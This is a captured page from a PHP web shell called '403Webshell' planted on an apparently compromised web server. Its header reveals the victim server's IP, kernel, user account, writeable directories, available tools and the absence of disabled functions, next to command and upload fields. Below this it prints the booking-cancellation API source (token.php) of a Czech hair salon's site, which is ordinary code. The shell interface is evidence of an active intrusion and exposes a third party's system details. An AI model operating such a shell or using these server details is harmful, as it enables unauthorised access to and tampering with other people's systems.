403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.215
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/web/kadernictvidenisa_cz/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/web/kadernictvidenisa_cz/api/token.php
<?php
// ============================================
//  api/token.php
//  GET  /api/token?t=...        – ověřit token, vrátit detail
//  POST /api/token              – zrušit rezervaci zákazníkem
// ============================================

require_once __DIR__ . '/../includes/mailer.php';
require_once __DIR__ . '/../includes/calendar.php';

$token = sanitize($_GET['t'] ?? ($input['token'] ?? ''));
if (strlen($token) !== 64) json_error('Neplatný token.', 400);

$stmt = db()->prepare("
    SELECT r.*, s.nazev AS sluzba_nazev, s.cena
    FROM rezervace r JOIN sluzby s ON s.id = r.sluzba_id
    WHERE r.token_zmena = ?
");
$stmt->execute([$token]);
$rez = $stmt->fetch();

if (!$rez) json_error('Rezervace nenalezena nebo odkaz vypršel.', 404);
if ($rez['stav'] === 'zrusena') json_error('Tato rezervace byla již zrušena.', 409);

if ($method === 'GET') {
    json_response(['ok' => true, 'data' => [
        'id'           => $rez['id'],
        'sluzba'       => $rez['sluzba_nazev'],
        'datum'        => $rez['datum'],
        'cas_od'       => substr($rez['cas_od'], 0, 5),
        'jmeno'        => $rez['jmeno'],
        'prijmeni'     => $rez['prijmeni'],
        'email'        => $rez['email'],
        'stav'         => $rez['stav'],
    ]]);
}

if ($method === 'POST') {
    $akce = sanitize($input['akce'] ?? '');
    if ($akce !== 'zrusit') json_error('Neznámá akce. Povoleno: zrusit.');

    // Zrušení možné nejpozději 24 hodin před termínem
    $termin_ts = strtotime($rez['datum'] . ' ' . $rez['cas_od']);
    if ($termin_ts - time() < 3600 * 24) {
        json_error('Rezervaci lze zrušit nejpozději 24 hodin před termínem. Kontaktujte nás prosím telefonicky.');
    }

    db()->prepare("UPDATE rezervace SET stav = 'zrusena', zruseno_kym = 'zakaznik' WHERE id = ?")
        ->execute([$rez['id']]);

    $rez_mail = [
        'jmeno'       => $rez['jmeno'],
        'prijmeni'    => $rez['prijmeni'],
        'email'       => $rez['email'],
        'datum'       => $rez['datum'],
        'cas_od'      => substr($rez['cas_od'], 0, 5),
        'cena'        => number_format($rez['cena'], 0, ',', ' '),
        'token_zmena' => $token,
    ];
    // Zruš událost v Microsoft Calendar
    if (!empty($rez['ms_event_id'])) {
        try { graph_zrus_udalost($rez['ms_event_id']); }
        catch (Exception $e) { error_log('[Token] Calendar delete error: ' . $e->getMessage()); }
    }

    try {
        email_zruseni($rez_mail, $rez['sluzba_nazev'], 'zakaznik');
    } catch (Exception $e) {
        error_log('[Token] E-mail zákazníkovi selhal: ' . $e->getMessage());
    }
    try {
        email_notifikace_admin($rez_mail, $rez['sluzba_nazev'], 'zrusena');
    } catch (Exception $e) {
        error_log('[Token] E-mail adminu selhal: ' . $e->getMessage());
    }

    json_response(['ok' => true, 'zprava' => 'Rezervace byla zrušena.']);
}

json_error('Metoda není podporována.', 405);

Youez - 2016 - github.com/yon3zu
LinuXploit